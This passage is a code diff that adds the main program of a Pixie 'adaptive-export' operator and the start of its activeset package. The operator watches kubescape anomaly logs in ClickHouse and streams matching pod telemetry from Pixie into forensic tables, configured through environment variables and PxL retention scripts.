+package main + +import ( + "context" + "fmt" + "net/http" + _ "net/http/pprof" // /debug/pprof/* on the debug-only listener (gated by DX_PPROF_ADDR; not in release builds otherwise unused) + "os" + "os/signal" + "strconv" + "strings" + "sync" + "syscall" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/api/go/pxapi" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/config" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/control" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/controller" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/pixie" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/pixieapi" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/pxl" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/script" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/streaming" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/trigger" +) + +const ( + // envCHHTTPEndpoint overrides the ClickHouse HTTP endpoint used by + // both the trigger (poll kubescape_logs) and the sink (write + // adaptive_attribution). Defaults to http://:8123. + envCHHTTPEndpoint = "FORENSIC_CH_HTTP_ENDPOINT" + + // envNodeName is the k8s downward API var the DaemonSet sets via + // `valueFrom: fieldRef: spec.nodeName`. Falls back to os.Hostname(). + envNodeName = "NODE_NAME" + + // envWindowBeforeSec / envWindowAfterSec / envTriggerPollMS / + // envPruneIntervalSec are programmatic overrides per the spec. + envWindowBeforeSec = "ADAPTIVE_WINDOW_BEFORE_SEC" + envWindowAfterSec = "ADAPTIVE_WINDOW_AFTER_SEC" + envTriggerPollMS = "ADAPTIVE_TRIGGER_POLL_MS" + envPruneIntervalSec = "ADAPTIVE_PRUNE_INTERVAL_SEC" + + // envTriggerHTTPTimeoutSec — per-poll HTTP budget (default 30s). + // The pre-watermark 5s default timed out every catch-up SELECT. + envTriggerHTTPTimeoutSec = "ADAPTIVE_TRIGGER_HTTP_TIMEOUT_SEC" + + // envTriggerPollLimit — max rows fetched per poll (default 10000). + // Bounds catch-up work after a restart so an N-hour backlog + // drains in ceil(N/PollLimit) polls instead of one giant scan. + envTriggerPollLimit = "ADAPTIVE_TRIGGER_POLL_LIMIT" + + // envWatermarkSaveSec — minimum interval between persistent + // watermark INSERTs (default 5s). The in-memory watermark + // advances every successful poll; flush is throttled. + envWatermarkSaveSec = "ADAPTIVE_WATERMARK_SAVE_SEC" + + // envSkipApply lets a deployment opt out of in-process DDL when + // the schema has been pre-applied by a separate Job (recommended + // production split: high-priv Job for CREATE TABLE / ALTER, then + // the operator runs with INSERT-only creds and skips Apply). + // VerifyPixieSchema still runs and refuses to start on drift. + envSkipApply = "ADAPTIVE_SKIP_APPLY" + + // envInstallPresets makes the operator boot install Pixie's preset + // retention scripts on this cluster. One-shot, idempotent (script-name + // match → skip). Defaults to false because the production design has + // users author scripts in the Pixie UI. + envInstallPresets = "INSTALL_PRESET_SCRIPTS" + + // === Throughput-protection knobs for the pushPixieRows fan-out. + // All default to 0 (= legacy unbounded behavior preserved). + envMaxParallelQueriesPerHash = "ADAPTIVE_MAX_PARALLEL_QUERIES_PER_HASH" + envMaxInflightQueriesGlobal = "ADAPTIVE_MAX_INFLIGHT_QUERIES_GLOBAL" + envEmptyResultSkipAfterN = "ADAPTIVE_EMPTY_RESULT_SKIP_AFTER_N" + envEmptyResultSkipTTLSec = "ADAPTIVE_EMPTY_RESULT_SKIP_TTL_SEC" + + // envPushPixieTables — when true, the operator queries vizier + // directly via pxapi on each fresh anomaly and writes the resulting + // rows to forensic_db. (rev-1 path). Required when the + // cloud's retention plugin can't reach the in-cluster CH (e.g. + // AOCC pixie cloud + CH ClusterIP service). + envPushPixieTables = "ADAPTIVE_PUSH_PIXIE_ROWS" + + // envAdaptiveWriteMode selects the protocol-table write path: + // "pull" → rev-2: per-hash×per-table fan-out (default) + // "streaming" → rev-3: N TableScanners with shared whitelist + // (see .local/adaptive-write-rev3-plan.md) + envAdaptiveWriteMode = "ADAPTIVE_WRITE_MODE" +) + +func main() { + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + // Debug pprof listener — gated on DX_PPROF_ADDR (e.g. "127.0.0.1:6060"). + // Off by default; when set, /debug/pprof/* on that addr exposes the + // runtime profiles for live CPU / heap / goroutine investigations. The + // blank-import of net/http/pprof above registers the handlers on the + // DefaultServeMux. Bind loopback in containers unless you port-forward. + if addr := os.Getenv("DX_PPROF_ADDR"); addr != "" { + go func() { + log.WithField("addr", addr).Info("pprof listening (/debug/pprof/*)") + if err := http.ListenAndServe(addr, nil); err != nil && + err != http.ErrServerClosed { + log.WithError(err).Error("pprof listener stopped") + } + }() + } + + log.Info("starting adaptive-export operator (push flow, rev 2)") + cfg, err := config.GetConfig() + if err != nil { + log.WithError(err).Fatal("failed to load configuration") + } + + hostname, err := resolveHostname() + if err != nil { + log.WithError(err).Fatal("failed to resolve node identity — set NODE_NAME via k8s downward API (spec.nodeName)") + } + log.WithField("hostname", hostname).Info("operator pod is node-local") + + chEndpoint := chHTTPEndpoint(cfg.ClickHouse().Host(), os.Getenv(envCHHTTPEndpoint)) + log.WithField("endpoint", chEndpoint).Info("clickhouse HTTP endpoint resolved") + + // 1. Apply operator-owned DDL FIRST, before Pixie's retention plugin + // has a chance to auto-create pixie tables with its minimal + // column set (no namespace / pod). The kubescape tables + // (alerts, kubescape_logs) are owned by the soc installer and + // are NOT touched here. + applier, err := clickhouse.NewApplier(chEndpoint, cfg.ClickHouse().User(), cfg.ClickHouse().Password()) + if err != nil { + log.WithError(err).Fatal("failed to construct schema applier") + } + if strings.EqualFold(os.Getenv(envSkipApply), "true") { + log.Info("ADAPTIVE_SKIP_APPLY=true — schema apply skipped; expecting an out-of-band DDL Job to have created the tables") + } else { + if err := applier.Apply(ctx); err != nil { + log.WithError(err).Fatal("schema apply failed; refusing to proceed with possibly drifted tables") + } + log.WithField("tables", clickhouse.OperatorOwnedTables).Info("operator-owned DDL applied") + } + + // 2. Defensive guard against Pixie's retention plugin having + // auto-created any pixie table BEFORE our Apply ran (e.g. a + // pre-existing cluster install). Refuse to start if drift + // detected so the misconfig is loud, not silent. + if err := applier.VerifyPixieSchema(ctx); err != nil { + log.WithError(err).Fatal("pixie table schema drift detected — pre-existing tables are missing operator-required columns; drop and re-create OR ALTER TABLE ADD COLUMN before retrying") + } + log.Info("pixie table schemas verified — namespace + pod columns present on all 12 tables") + + // 3. Best-effort: ensure the Pixie ClickHouse retention plugin is + // enabled. The retention scripts themselves are defined by the + // user via the Pixie UI — we don't manage them. The cloud client + // is OPTIONAL — direct-mode query (set up in step 5) does not + // need it, so a cloud-side outage must not block the operator + // from starting. Downgrade the failure to a warning and skip the + // plugin/preset steps that depend on this client. + pluginClient, err := pixie.NewClient(ctx, cfg.Pixie().APIKey(), cfg.Pixie().Host()) + if err != nil { + log.WithError(err).Warn("could not create pixie cloud plugin client — skipping plugin enablement and preset install; pixie tables will stay empty until the user enables the plugin in the Pixie UI") + pluginClient = nil + } + if pluginClient != nil { + chDSN := cfg.ClickHouse().DSN() + exportURL, err := pluginClient.EnsureClickHousePluginEnabled(chDSN) + if err != nil { + // non-fatal — the operator's own write path doesn't depend on + // the plugin; analyst joins against pixie-table rows do, but a + // missing plugin is a deployment misconfiguration the user + // surfaces via UI. + log.WithError(err).Warn("could not ensure ClickHouse plugin is enabled — pixie tables will not be populated until you turn it on in the Pixie UI") + } else { + log.WithField("export_url", exportURL).Info("clickhouse retention plugin is enabled") + } + + // 3b. (optional) install Pixie's preset retention scripts so the + // pixie observation tables actually receive rows. Without this, + // the plugin is enabled but does nothing. + if strings.EqualFold(os.Getenv(envInstallPresets), "true") { + installed, err := installPresetScripts(pluginClient, cfg.Pixie().ClusterID(), cfg.Worker().ClusterName()) + if err != nil { + log.WithError(err).Warn("INSTALL_PRESET_SCRIPTS=true but install failed — pixie tables will stay empty") + } else { + log.WithField("installed", installed).Info("preset retention scripts installed on cluster") + } + } + } + + // 4. Build trigger + sink + controller. + pollInterval := durEnv(envTriggerPollMS, 250*time.Millisecond, time.Millisecond) + httpTimeout := durEnv(envTriggerHTTPTimeoutSec, 30*time.Second, time.Second) + saveInterval := durEnv(envWatermarkSaveSec, 5*time.Second, time.Second) + pollLimit := intEnv(envTriggerPollLimit, 10000) + // Persistent watermark store keeps the trigger's kubescape_logs + // cursor in forensic_db.trigger_watermark, so a restart on a busy + // node doesn't replay the full table from event_time=0 (which + // timed out every single HTTP read and pinned the watermark at 0 + // forever — the failure mode that produced "AE silent for 10h + // after OOM-restart" in the field). + wmStore, err := trigger.NewClickHouseWatermarkStore( + chEndpoint, cfg.ClickHouse().Database(), + cfg.ClickHouse().User(), cfg.ClickHouse().Password(), + httpTimeout) + if err != nil { + log.WithError(err).Fatal("failed to create persistent watermark store") + } + trg, err := trigger.New(trigger.Config{ + Endpoint: chEndpoint, + Database: cfg.ClickHouse().Database(), + Table: cfg.ClickHouse().Table(), + Username: cfg.ClickHouse().User(), + Password: cfg.ClickHouse().Password(), + Hostname: hostname, + PollInterval: pollInterval, + Watermark: wmStore, + WatermarkSaveInterval: saveInterval, + PollLimit: pollLimit, + HTTPTimeout: httpTimeout, + }) + if err != nil { + log.WithError(err).Fatal("failed to create trigger") + } + + snk, err := sink.New(sink.Config{ + Endpoint: chEndpoint, + Database: cfg.ClickHouse().Database(), + Username: cfg.ClickHouse().User(), + Password: cfg.ClickHouse().Password(), + }) + if err != nil { + log.WithError(err).Fatal("failed to create sink") + } + + // Mode selection: + // "streaming" → rev-3: leave PushPixieTables EMPTY (so the + // controller skips fan-out) and stand up the + // streaming.Supervisor instead. + // else → rev-2: per-hash×per-table fan-out (legacy). + streamingMode := strings.EqualFold(os.Getenv(envAdaptiveWriteMode), "streaming") + pushPixieRequested := strings.EqualFold(os.Getenv(envPushPixieTables), "true") + if streamingMode && pushPixieRequested { + log.Info("ADAPTIVE_WRITE_MODE=streaming overrides ADAPTIVE_PUSH_PIXIE_ROWS — fan-out disabled, streaming.Supervisor will own protocol-table writes") + } + + // Shared ActiveSet (used only by streaming mode; harmless in pull mode). + activeSet := activeset.New() + // AttributionNotifier — non-blocking shim so the controller's + // synchronous OnAttribution / OnPrune callbacks don't pin + // controller.handle on slow ActiveSet writes. Tests in + // streaming/notifier_test.go cover the buffer-overflow + drop + // semantics. The Run goroutine is started below in streaming mode. + attrNotifier := streaming.NewAttributionNotifier(activeSet, streaming.NotifierConfig{ + BufferSize: intEnvOrZero("ADAPTIVE_STREAM_NOTIFIER_BUFFER"), + }) + + ctlCfg := controller.Config{ + Hostname: hostname, + Before: durEnv(envWindowBeforeSec, 5*time.Minute, time.Second), + After: durEnv(envWindowAfterSec, 5*time.Minute, time.Second), + MaxParallelQueriesPerHash: intEnvOrZero(envMaxParallelQueriesPerHash), + MaxInflightQueriesGlobal: intEnvOrZero(envMaxInflightQueriesGlobal), + EmptyResultSkipAfterN: intEnvOrZero(envEmptyResultSkipAfterN), + EmptyResultSkipTTL: durEnvOrZero(envEmptyResultSkipTTLSec, time.Second), + } + if streamingMode { + // Route through the non-blocking notifier — handle() returns + // in <1µs even if ActiveSet writers are slow. Host-pid pods + // (empty Pod) are filtered inside the notifier. + ctlCfg.OnAttribution = attrNotifier.SubmitFromController + ctlCfg.OnPrune = attrNotifier.RemoveFromController + } + if !streamingMode && pushPixieRequested { + // PxL's px.DataFrame(table=…) rejects dotted table names even + // though px.GetSchemas() lists them. Drop them from the push + // list; the cloud-side retention plugin would have to handle + // those if the user wants them. + var tables []string + for _, t := range pxl.Names(pxl.Builtins()) { + if strings.Contains(t, ".") { + log.WithField("table", t).Info("skipping dotted-name table from push list — PxL DataFrame rejects it") + continue + } + tables = append(tables, t) + } + ctlCfg.PushPixieTables = tables + log.WithField("tables", ctlCfg.PushPixieTables). + Info("ADAPTIVE_PUSH_PIXIE_ROWS=true — operator will query pixie + write rows directly on each anomaly") + } + ctl := controller.New(trg, snk, ctlCfg, nil) + + // Build the pixie adapter ONCE — shared by both rev-2's + // pushPixieRows path and the rev-3 streaming.Supervisor. + var pixieAdapterInst *pixieapi.Adapter + if len(ctlCfg.PushPixieTables) > 0 || streamingMode { + var adapter *pixieapi.Adapter + if direct := os.Getenv("ADAPTIVE_VIZIER_DIRECT_ADDR"); direct != "" { + // Direct mode — bypass the cloud's passthrough proxy and + // connect to the in-cluster vizier-query-broker. Use this + // on self-hosted clouds where pxapi.WithAPIKey isn't + // authorized for the cluster (e.g. a freshly-deployed + // vizier whose ID isn't yet linked to the API key's owner). + a, err := pixieapi.NewDirectFromEnv(cfg.Pixie().ClusterID()) + if err != nil { + log.WithError(err).Fatal("ADAPTIVE_VIZIER_DIRECT_ADDR set but direct-mode adapter init failed") + } + log.WithField("addr", direct).Info("pixieapi: direct mode (bypassing cloud proxy)") + adapter = a + } else { + pxClient, err := pxapi.NewClient(ctx, + pxapi.WithAPIKey(cfg.Pixie().APIKey()), + pxapi.WithCloudAddr(cfg.Pixie().Host())) + if err != nil { + log.WithError(err).Fatal("failed to create pxapi client") + } + adapter = pixieapi.New(pxClient, cfg.Pixie().ClusterID()) + } + pixieAdapterInst = adapter + if len(ctlCfg.PushPixieTables) > 0 { + ctl = ctl.WithPixieQuerier(&pixieAdapter{a: adapter}) + } + } + + // 5. Rehydrate active state across crashes. + if err := ctl.Rehydrate(ctx); err != nil { + log.WithError(err).Warn("could not rehydrate active set; starting cold") + } else { + log.WithField("active", ctl.Active()).Info("active set rehydrated") + } + + // 6. Periodic prune of in-memory expired entries + main controller loop. + // Both goroutines are tracked in a WaitGroup so SIGTERM cleanly waits + // for in-flight HTTP calls (trigger 5s timeout, sink 30s timeout) + // instead of being cut off by an arbitrary 500ms sleep. + pruneInterval := durEnv(envPruneIntervalSec, 30*time.Second, time.Second) + var wg sync.WaitGroup + wg.Add(1) + go func() { + defer wg.Done() + t := time.NewTicker(pruneInterval) + defer t.Stop() + for { + select { + case <-ctx.Done(): + return + case <-t.C: + if removed := ctl.PruneExpired(); removed > 0 { + log.WithField("removed", removed).Debug("pruned expired active entries") + } + } + } + }() + + // 7. Run the controller. + wg.Add(1) + go func() { + defer wg.Done() + if err := ctl.Run(ctx); err != nil && err != context.Canceled { + log.WithError(err).Error("controller exited with error") + } + }() + + // 7b. Streaming mode (rev-3): start the per-table scanners + + // batched writers. Replaces the per-hash×per-table fan-out. + if streamingMode { + // Start the AttributionNotifier consumer so SubmitFromController + // calls actually get delivered to ActiveSet. + wg.Add(1) + go func() { + defer wg.Done() + attrNotifier.Run(ctx) + }() + + // Seed the ActiveSet from the rehydrated controller so existing + // alive attribution rows resume streaming immediately on boot. + // Without this seeding, only fresh kubescape events would + // repopulate the set — losing N minutes of coverage per restart. + seedActiveSetFromRehydrate(ctl, activeSet) + + builtins := pxl.Builtins() + streamTables := make([]string, 0, len(builtins)) + for _, t := range pxl.Names(builtins) { + if strings.Contains(t, ".") { + continue // PxL DataFrame rejects dotted names + } + streamTables = append(streamTables, t) + } + updater := streaming.NewUpdater(activeSet, streaming.UpdaterConfig{ + Debounce: durEnvOrZero("ADAPTIVE_STREAM_DEBOUNCE_SEC", time.Second), + MaxWhitelistSize: intEnvOrZero("ADAPTIVE_STREAM_MAX_WHITELIST"), + }) + supervisor := streaming.NewSupervisor( + updater, + &pixieAdapter{a: pixieAdapterInst}, + snk, + streamTables, + streaming.ScannerConfig{ + QueryWindow: durEnvOrZero("ADAPTIVE_STREAM_WINDOW_SEC", time.Second), + RefreshInterval: durEnvOrZero("ADAPTIVE_STREAM_REFRESH_SEC", time.Second), + }, + streaming.WriterConfig{ + BatchRows: intEnvOrZero("ADAPTIVE_STREAM_BATCH_ROWS"), + BatchEvery: durEnvOrZero("ADAPTIVE_STREAM_BATCH_EVERY_SEC", time.Second), + }, + ) + wg.Add(1) + go func() { + defer wg.Done() + supervisor.Run(ctx) + }() + log.WithField("tables", streamTables).Info("rev-3 streaming supervisor started") + } + + log.WithFields(log.Fields{ + "hostname": hostname, + "poll_interval": pollInterval, + "prune_interval": pruneInterval, + "window_before": ctlCfg.Before, + "window_after": ctlCfg.After, + }).Info("operator running") + + // control surface: when CONTROL_ADDR is set, the per-node controller + // steers this AE's activeSet (Upsert/Remove) over HTTP. Off by default so + // the existing trigger→controller→activeSet flow is unchanged. + if addr := os.Getenv("CONTROL_ADDR"); addr != "" { + ctrlSrv := control.New(activeSet, nil) // OrderQuery runner wired later + go func() { + log.WithField("addr", addr).Info("control surface listening") + if err := http.ListenAndServe(addr, ctrlSrv.Handler()); err != nil && + err != http.ErrServerClosed { + log.WithError(err).Error("control surface stopped") + } + }() + } + + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + <-sigCh + log.Info("shutdown signal received; waiting for goroutines to drain") + cancel() + // Bound the wait so a hung HTTP call can't keep the process up forever. + done := make(chan struct{}) + go func() { wg.Wait(); close(done) }() + select { + case <-done: + log.Info("clean shutdown") + case <-time.After(35 * time.Second): + log.Warn("shutdown deadline reached with goroutines still running; exiting") + } +} + +// chHTTPEndpoint resolves the ClickHouse HTTP endpoint. Explicit env +// override wins; otherwise build "http://:8123" from config. +func chHTTPEndpoint(host, override string) string { + if override != "" { + return strings.TrimRight(override, "/") + } + if host == "" { + host = "localhost" + } + return "http://" + host + ":8123" +} + +// resolveHostname picks the node identity for node-local scoping. +// REQUIRES NODE_NAME (set via k8s downward API spec.nodeName). The +// previous os.Hostname() fallback returned the POD hostname, not the +// node — making the operator silently miss its node's rows. +func resolveHostname() (string, error) { + if v := strings.TrimSpace(os.Getenv(envNodeName)); v != "" { + return v, nil + } + return "", fmt.Errorf("%s env var is required (set via k8s downward API: valueFrom.fieldRef.fieldPath=spec.nodeName)", envNodeName) +} + +// durEnv reads a positive-integer-valued duration env var. unit +// defines the unit (time.Second, time.Millisecond). Returns dflt on +// missing / unparseable / non-positive values — non-positive would +// either panic time.NewTicker or invert the attribution window, so +// we fall back to the default and log loudly. +func durEnv(key string, dflt, unit time.Duration) time.Duration { + v := strings.TrimSpace(os.Getenv(key)) + if v == "" { + return dflt + } + n, err := strconv.ParseInt(v, 10, 64) + if err != nil { + log.WithError(err).WithFields(log.Fields{"key": key, "value": v}). + Warn("invalid duration env; using default") + return dflt + } + if n <= 0 { + log.WithFields(log.Fields{"key": key, "value": v}). + Warn("non-positive duration env; using default") + return dflt + } + return time.Duration(n) * unit +} + +// intEnv reads a positive-integer-valued env var. Returns dflt on +// missing / unparseable / non-positive. Same shape as durEnv but +// without the unit multiplier — for counts (e.g. row limits). +func intEnv(key string, dflt int) int { + v := strings.TrimSpace(os.Getenv(key)) + if v == "" { + return dflt + } + n, err := strconv.Atoi(v) + if err != nil { + log.WithError(err).WithFields(log.Fields{"key": key, "value": v}). + Warn("invalid int env; using default") + return dflt + } + if n <= 0 { + log.WithFields(log.Fields{"key": key, "value": v}). + Warn("non-positive int env; using default") + return dflt + } + return n +} + +// intEnvOrZero is like intEnv but treats unset / empty / non-positive +// as 0 (= "feature disabled"). Used for opt-in throttle knobs where 0 +// preserves legacy behavior and a positive integer enables the throttle. +func intEnvOrZero(key string) int { + v := strings.TrimSpace(os.Getenv(key)) + if v == "" { + return 0 + } + n, err := strconv.Atoi(v) + if err != nil || n < 0 { + log.WithFields(log.Fields{"key": key, "value": v}). + Warn("invalid int env; treating as 0 (disabled)") + return 0 + } + return n +} + +// durEnvOrZero is the duration-typed counterpart. unit lets the caller +// express the env value in seconds / milliseconds without per-knob +// parsing logic. 0 → returned as 0 (= feature disabled). +func durEnvOrZero(key string, unit time.Duration) time.Duration { + n := intEnvOrZero(key) + if n <= 0 { + return 0 + } + return time.Duration(n) * unit +} + +// seedActiveSetFromRehydrate reads the operator's rehydrated +// attribution rows back from CH and Upserts them into the streaming +// ActiveSet. Without this, a restart in streaming mode leaves the +// scanners with an empty whitelist until the next kubescape event +// arrives — N minutes of coverage gap per restart. +func seedActiveSetFromRehydrate(ctl *controller.Controller, set *activeset.ActiveSet) { + // The controller's Rehydrate already populated its in-memory + // active map from CH. We re-issue QueryActive here to mirror + // those rows into the ActiveSet — keeping the streaming layer + // fully decoupled from controller internals. + // + // Timeout: defaults to 60s (bumped from a 30s hardcode for + // the rev-2 schema); ADAPTIVE_SCRIPT_TIMEOUT_SECONDS overrides for + // busy clusters where a large rehydrate snapshot won't land in + // the default window. Defensive: the operator could not reproduce + // the original "DeadlineExceeded" symptom on the soak PG, but + // the env knob exists so operators don't have to ship a patch + // to widen it. + scriptTimeout := durEnv("ADAPTIVE_SCRIPT_TIMEOUT_SECONDS", 60*time.Second, time.Second) + ctx, cancel := context.WithTimeout(context.Background(), scriptTimeout) + defer cancel() + rows, err := ctl.SnapshotActive(ctx) + if err != nil { + log.WithError(err).Warn("seed: SnapshotActive failed; streaming starts cold") + return + } + for _, r := range rows { + if r.Pod == "" { + continue + } + set.Upsert(activeset.Key{Namespace: r.Namespace, Pod: r.Pod}, r.TEnd) + } + log.WithField("seeded", set.Size()).Info("streaming.ActiveSet seeded from rehydrated rows") +} + +// pixieAdapter wraps pixieapi.Adapter so its return type matches the +// controller's PixieQuerier interface (which uses []map[string]any +// rather than the pixieapi-internal Row alias). +type pixieAdapter struct{ a *pixieapi.Adapter } + +func (p *pixieAdapter) Query(ctx context.Context, src string) ([]map[string]any, error) { + rows, err := p.a.Query(ctx, src) + if err != nil { + return nil, err + } + out := make([]map[string]any, len(rows)) + for i, r := range rows { + out[i] = map[string]any(r) + } + return out, nil +} + +// installPresetScripts purges any stale ClickHouse-plugin retention +// scripts on the cluster, then installs the operator's built-in PxL +// scripts targeting the 13 socket_tracer tables we DDL'd. Cloud-side +// "presets" are deliberately ignored: in this fork the legacy +// "conn_stats export" / "dc snoop export" / "stack_traces export" +// preset names predate the rev-2 schema and would silently fail to +// write. conn_stats is now in the rev-2 schema, but it +// ships as "ch-conn_stats" (operator-managed naming) — the legacy +// "conn_stats export" preset name is still purged below so a stale +// one doesn't double-write. +func installPresetScripts(client *pixie.Client, clusterID, clusterName string) (int, error) { + current, err := client.GetClusterScripts(clusterID, clusterName) + if err != nil { + return 0, fmt.Errorf("get cluster scripts: %w", err) + } + currentNames := make([]string, 0, len(current)) + for _, s := range current { + currentNames = append(currentNames, s.Name) + } + log.WithFields(log.Fields{ + "already_on_cluster": len(current), + "cluster_script_names": currentNames, + }).Info("preset script install — purging managed + installing built-ins") + + // Purge ONLY scripts we recognise as operator-managed or as legacy + // presets we know are broken in the rev-2 schema. User-authored + // retention scripts are left alone. + for _, s := range current { + if !isOperatorManagedScript(s.Name) { + log.WithField("script", s.Name). + Debug("preset install — leaving user-authored script alone") + continue + } + if err := client.DeleteDataRetentionScript(s.ScriptId); err != nil { + log.WithError(err).WithField("script", s.Name).Warn("failed to delete stale script") + continue + } + log.WithField("script", s.Name).Info("purged stale retention script") + } + + // Install built-ins. + presets := builtinPresetScripts() + installed := 0 + for _, p := range presets { + if err := client.AddDataRetentionScript(clusterID, p.Name, p.Description, p.FrequencyS, p.Script); err != nil { + log.WithError(err).WithField("script", p.Name).Warn("failed to install built-in script") + continue + } + installed++ + log.WithField("script", p.Name).Info("installed retention script") + } + return installed, nil +} + +// isOperatorManagedScript decides whether a cluster-side retention +// script is safe to delete during INSTALL_PRESET_SCRIPTS. The criteria: +// +// 1. Anything with the "ch-" prefix matches the operator's own +// builtinPresetScripts naming (ch-
) — managed. +// 2. The legacy AOCC presets we explicitly want to retire because +// their target tables don't exist in the rev-2 schema: +// "conn_stats export", "dc snoop export", "stack_traces export". +// +// Any other script is assumed user-authored and left alone. +func isOperatorManagedScript(name string) bool { + if strings.HasPrefix(name, "ch-") { + return true + } + switch name { + case "conn_stats export", "dc snoop export", "stack_traces export": + return true + } + return false +} + +// builtinPresetScripts returns a minimum set of PxL scripts mirroring +// the canonical Pixie preset shape — one bulk-write script per +// socket_tracer table. Each adds namespace + pod columns and emits to +// the matching CH table via px.display(name='
') which the +// retention plugin maps to forensic_db.
. +// +// Schedule: 10s. Window: -15s (overlap so we don't lose rows during +// schedule jitter). +func builtinPresetScripts() []*script.ScriptDefinition { + // Drop dotted-name tables (http2_messages.beta, kafka_events.beta): + // `px.DataFrame(table='…')` rejects them at PxL compile time, so a + // preset for them would be permanently broken. The cloud-side + // retention plugin would have to handle those if needed. + tables := []string{ + "http_events", "dns_events", "redis_events", "mysql_events", + "pgsql_events", "cql_events", "mongodb_events", "amqp_events", + "mux_events", "tls_events", + // conn_stats — counter snapshots; same shape as + // the protocol-events PxL (DataFrame + namespace/pod cols + + // px.display). Each pull is one snapshot row per (remote tuple, + // protocol); ClickHouse merges by (hostname, event_time). + "conn_stats", + } + out := make([]*script.ScriptDefinition, 0, len(tables)) + for _, t := range tables { + body := "import px\n" + + "df = px.DataFrame(table='" + t + "', start_time='-15s')\n" + + "df.namespace = px.upid_to_namespace(df.upid)\n" + + "df.pod = px.upid_to_pod_name(df.upid)\n" + + "px.display(df, '" + t + "')\n" + out = append(out, &script.ScriptDefinition{ + Name: "ch-" + t, + Description: "adaptive_export builtin preset for " + t, + FrequencyS: 10, + Script: body, + IsPreset: false, + }) + } + return out +} diff --git a/src/vizier/services/adaptive_export/internal/activeset/BUILD.bazel b/src/vizier/services/adaptive_export/internal/activeset/BUILD.bazel new file mode 100644 index 00000000000..9003a0f131d --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/activeset/BUILD.bazel @@ -0,0 +1,25 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "activeset", + srcs = ["activeset.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], +) + +pl_go_test( + name = "activeset_test", + srcs = ["activeset_test.go"], + embed = [":activeset"], +) diff --git a/src/vizier/services/adaptive_export/internal/activeset/activeset.go b/src/vizier/services/adaptive_export/internal/activeset/activeset.go new file mode 100644 index 00000000000..79027b4c715 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/activeset/activeset.go @@ -0,0 +1,267 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package activeset owns the "currently being streamed" pod set for +// the rev-3 adaptive-write streaming path. One ActiveSet per +// operator process. +// +// Why it exists: rev-2's pushPixieRows fan-out gated streaming +// per-(hash, table); the fan-out spawned an O(active_hashes × tables) +// concurrency tree that DoS'd vizier-query-broker under load. Rev-3 +// inverts the relationship: ONE PxL submission per table per refresh, +// embedding a whitelist drawn from this ActiveSet. The set is keyed +// per-pod, not per-hash, because pixie events have no hash dimension +// — multiple anomaly hashes on the same pod share one stream slot. +// +// Membership is computed from kubescape attribution: a pod is in the +// set iff there is at least one anomaly-attribution row for it whose +// t_end is in the future. +package activeset + +import ( + "sync" + "time" +) + +// Key identifies one pod in the set. "namespace/pod" matches what +// `px.upid_to_pod_name` returns inside PxL, so embedding Keys verbatim +// into a PxL whitelist filter requires no transformation. +type Key struct { + Namespace string + Pod string +} + +// Render returns the "namespace/pod" form used in PxL whitelists. +// Pod-only Keys (empty Namespace) render as bare "pod" — kept for +// host-pid edge cases though those don't currently reach a stream. +func (k Key) Render() string { + if k.Namespace == "" { + return k.Pod + } + return k.Namespace + "/" + k.Pod +} + +// Delta describes a change to the set. Subscribers receive deltas +// to know when to re-evaluate stream submissions. Both slices may +// be non-empty in a single delta when concurrent upserts and prunes +// land in the same delivery window. +type Delta struct { + Added []Key + Removed []Key + Version uint64 // monotonic; matches the post-delta version of the set +} + +// ActiveSet is a goroutine-safe, version-counted pod set with +// fan-out delta delivery. +type ActiveSet struct { + mu sync.Mutex + members map[Key]time.Time // pod → t_end (when the active window expires absent further extension) + version uint64 + + // subs are independent buffered channels — one per subscriber. + // Buffered so a slow consumer can't block an upserter; oldest + // delta is dropped on overflow (subscriber observes a version + // skip and is expected to re-snapshot). + subsMu sync.Mutex + subs []chan Delta +} + +// New returns an empty ActiveSet. +func New() *ActiveSet { + return &ActiveSet{ + members: map[Key]time.Time{}, + } +} + +// Upsert sets or extends a pod's t_end. Idempotent — if the pod is +// already present with a >= t_end, no delta is emitted (caller-side +// dedup of trivial extensions; saves debouncer churn). +// +// `version` is advanced ONLY on membership changes (new pod added). +// A pure t_end extension does NOT bump version — subscribers use +// version skips as their "membership might have changed" signal, and +// spurious bumps force unnecessary re-snapshots. +func (s *ActiveSet) Upsert(k Key, tEnd time.Time) { + s.mu.Lock() + prev, existed := s.members[k] + if existed && !tEnd.After(prev) { + s.mu.Unlock() + return // no-op extension; quietly skip + } + s.members[k] = tEnd + if existed { + // Pure t_end extension: store new value, no version bump, + // no delta. Subscribers see no membership change. + s.mu.Unlock() + return + } + s.version++ + v := s.version + s.mu.Unlock() + s.broadcast(Delta{Added: []Key{k}, Version: v}) +} + +// Remove drops a pod. No-op if not present. Always emits a delta 